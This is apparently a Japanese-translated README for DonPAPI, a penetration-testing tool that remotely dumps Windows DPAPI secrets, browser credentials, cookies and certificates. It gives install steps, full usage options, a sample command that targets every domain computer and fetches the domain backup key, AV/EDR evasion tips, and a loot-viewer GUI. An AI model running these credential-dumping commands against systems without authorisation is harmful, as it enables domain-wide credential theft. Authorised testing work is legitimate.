
Windows環境向けの自動化されたリモート資格情報ダンパー。DPAPIシークレット、ブラウザの認証情報、証明書、設定ファイルを抽出し、防御回避機能とWebベースの戦利品ビューアを内蔵。
DonPAPIは、防御回避を考慮して、複数のWindowsコンピュータ上でリモートでシークレットのダンプを自動化します。

収集される認証情報:
DPAPIについてのフランス語での講演を行いました。タイトルは DPAPI - Don't Put Administration Passwords In 🇫🇷 です:
このツールはpipxまたは専用の仮想環境でインストールしてください
pipx install donpapi
または(最新のコミットを含む)
pipx install git+https://github.com/login-securite/DonPAPI.git
または(開発用)
git clone git+https://github.com/login-securite/DonPAPI.git
cd DonPAPI
poetry update
poetry run DonPAPI
pipx install donpapi
donpapi collect -u admin -p 'Password123!' -d domain.local -t ALL --fetch-pvk
donpapi gui
usage: DonPAPI [-h] [-v] [-o DIRNAME] {collect,gui} ...
Dump revelant information on compromised targets without AV detection. Version: 2.0.0
positional arguments:
{collect,gui} DonPAPI Action
collect Dump secrets on a target list
gui Spawn a Flask webserver to crawl DonPAPI database
options:
-h, --help show this help message and exit
-v Verbosity level (-v or -vv)
-o DIRNAME, --output-directory DIRNAME
Output directory. Default is ~/.donpapi/loot/
このアクションは、-t で指定されたターゲットからシークレットを収集するために使用されます。
usage: dpp collect [-h] [--keep-collecting seconds] [--threads Number of threads] [--no-config] [-t TARGET [TARGET ...]] [-d domain.local]
[-u username] [-p password] [-H LMHASH:NTHASH] [--no-pass] [-k] [--aesKey hex key] [--laps Administrator] [--dc-ip IP address]
[-r /home/user/.donpapi/recover/recover_1718281433] [-c COLLECTORS] [-nr] [--fetch-pvk] [--pvkfile PVKFILE]
[--pwdfile PWDFILE] [--ntfile NTFILE] [--mkfile MKFILE]
options:
-h, --help show this help message and exit
--keep-collecting seconds
Rerun the attack against all targets after X seconds, X being the value
--threads Number of threads
Number of threads (default: 50)
--no-config Do not load donpapi config file (~/.donpapi/donpapi.conf)
authentication:
-t TARGET [TARGET ...], --target TARGET [TARGET ...]
the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, ALL to fetch every
computer hostnames from LDAP
-d domain.local, --domain domain.local
Domain
-u username, --username username
Username
-p password, --password password
Password
-H LMHASH:NTHASH, --hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
--no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid
credentials cannot be found, it will use the ones specified in the command line
--aesKey hex key AES key to use for Kerberos Authentication (1128 or 256 bits)
--laps Administrator use LAPS to request local admin password. The laps parameter value is the local admin account use to connect
--dc-ip IP address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-r /home/user/.donpapi/recover/recover_1718281433, --recover-file /home/user/.donpapi/recover/recover_1718281433
The recover file path. If used, the other parameters will be ignored
attacks:
-c COLLECTORS, --collectors COLLECTORS
Chromium, Certificates, CredMan, Files, Firefox, MobaXterm, MRemoteNG, RDCMan, SCCM, Vaults, VNC, Wifi, All (all
previous) (default: All)
-nr, --no-remoteops Disable Remote Ops operations (basically no Remote Registry operations, no DPAPI System Credentials)
--fetch-pvk Will automatically use domain backup key from database, and if not already dumped, will dump it on a domain controller
--pvkfile PVKFILE Pvk file with domain backup key
--pwdfile PWDFILE File containing username:password that will be used eventually to decrypt masterkeys
--ntfile NTFILE File containing username:nthash that will be used eventually to decrypt masterkeys
--mkfile MKFILE File containing {GUID}:SHA1 masterkeys mappings
認証は、--domain でドメイン、--username でユーザー名、そして必要に応じて --password でパスワード、--hashes でハッシュ、--aesKey でAESキー、または -k で ccache 形式のKerberosチケット(Impacket形式)を指定することで機能します。
また、コンピュータ上のLAPSを使用して認証するには、--laps と、そのパラメータの値としてローカルLAPSアカウントのユーザー名を指定することもできます。
デフォルトでは、DonPAPIは以下を収集します:
収集したいものを --collectors で指定できます(SharpHound形式)。--fetch-pvk を使用すると、DonPAPIは自動的にADドメインのドメインバックアップキーを取得し、マスターキーの復号に使用します。または、--pvkfile で自分でキーを指定することもできます。--pwdfile と --ntfile は、マスターキーをアンロックするためのシークレットをDonPAPIに供給するために使用します。ただし、新しく復号されたマスターキーがある場合は、--mkfile を使用できます。
[!WARNING] 一部の収集方法ではLSAシークレットのダンプが必要です(DPAPIマシンキーを取得するため)。この操作はノイズが多く、最新のEDRは即座にブロックします。
-nrを使用してこれらのノイズの多い操作を回避できますが、一部のシークレットは収集されません。
DonPAPIは現在、Secretsdumpの動作をカスタマイズするための設定ファイルをサポートしています。このファイルは ~/.donpapi/donpapi.conf に配置され、デフォルトでは次のようになります:
[secretsdump]
share = C$
remote_filepath = \Users\Default\AppData\Local\Temp
filename_regex = \d{4}-\d{4}-\d{4}-[0-9]{4}
file_extension = .log
DonPAPIはリカバリファイルをサポートしています。collect コマンドを実行するたびに、残りのターゲットとすべてのオプションのリカバリファイルが保存されます。デフォルトでは、ファイルは ~/.donpapi/register/ フォルダに配置されます。
内部評価では、特定のターゲットに対して何度もシークレットを収集したい場合があります。愚かなbashループを作成せずに、--keep-collecting X を使用してください。Xは収集セッション間の待機秒数です。
シークレットを収集したら、それらを閲覧したいでしょう。DonPAPIでは、Web GUIを使用してすべての収集されたシークレットを確認できます。起動するには donpapi gui を使用します。
usage: DonPAPI gui [-h] [--bind BIND] [--port PORT] [--ssl] [--basic-auth user:password]
options:
-h, --help show this help message and exit
--bind BIND HTTP Server bind address (default=127.0.0.1)
--port PORT HTTP Server port (default=8088)
--ssl Use an encrypted connection
--basic-auth user:password
Set up a basic auth
一般
この画面では、収集されたすべてのコンピュータ間で再利用されたSAMパスワード、ダンプされたスケジュールタスク、LSAからダンプされたサービスアカウントパスワードが表示されます。これらはすべてCSV形式でエクスポートできます。
シークレット
この画面では、DonPAPIで収集されたすべてのシークレットが表示されます。複数の要素で検索し、シークレットをCSVにエクスポートできます。
Cookie
この画面では、DonPAPIで収集されたすべてのCookieが表示されます。複数の要素で検索し、CookieをCSVにエクスポートできるほか、クリップボードにコピーしてブラウザで使用するJavaScriptコードとして貼り付けることもできます。
証明書
この画面では、DonPAPIで収集されたすべての証明書が表示されます。複数の要素で検索し、証明書をCSVにエクスポートできるほか、証明書がクライアント認証を許可している場合は、Yes をクリックすると、証明書を使用するためのCertipyコマンドがクリップボードにコピーされます。
このツールは教育および倫理的なハッキング目的のみで使用してください。Login Sécuritéは、このツールを使用して行われた不正行為について責任を負いません。
GUIフロントエンドはVue3 + Vite.jsで開発され、バックエンドはPython Flaskです。
デフォルトでは http://127.0.0.1:8088 で公開されますが、https://0.0.0.0:443 など、好みの方法で公開できます。
[!WARNING] このようにDonPAPIをネットワーク全体に公開しないでください。非常に危険です。DonPAPIは
--sslでHTTPSをサポートし、--basic-authでBasic認証を追加できます。さらに、このようにDonPAPIをインターネットに公開しないでください。
テーブル内の値をクリックすると、すぐにクリップボードにコピーされます。
GUIには パスワードを隠す チェックボックスがあり、機密データをGUIで隠すことができます。スクリーンショットに最適です。
すべてのクレジットは、困難な研究とコーディングを行ったこれらの素晴らしい人々に帰属します: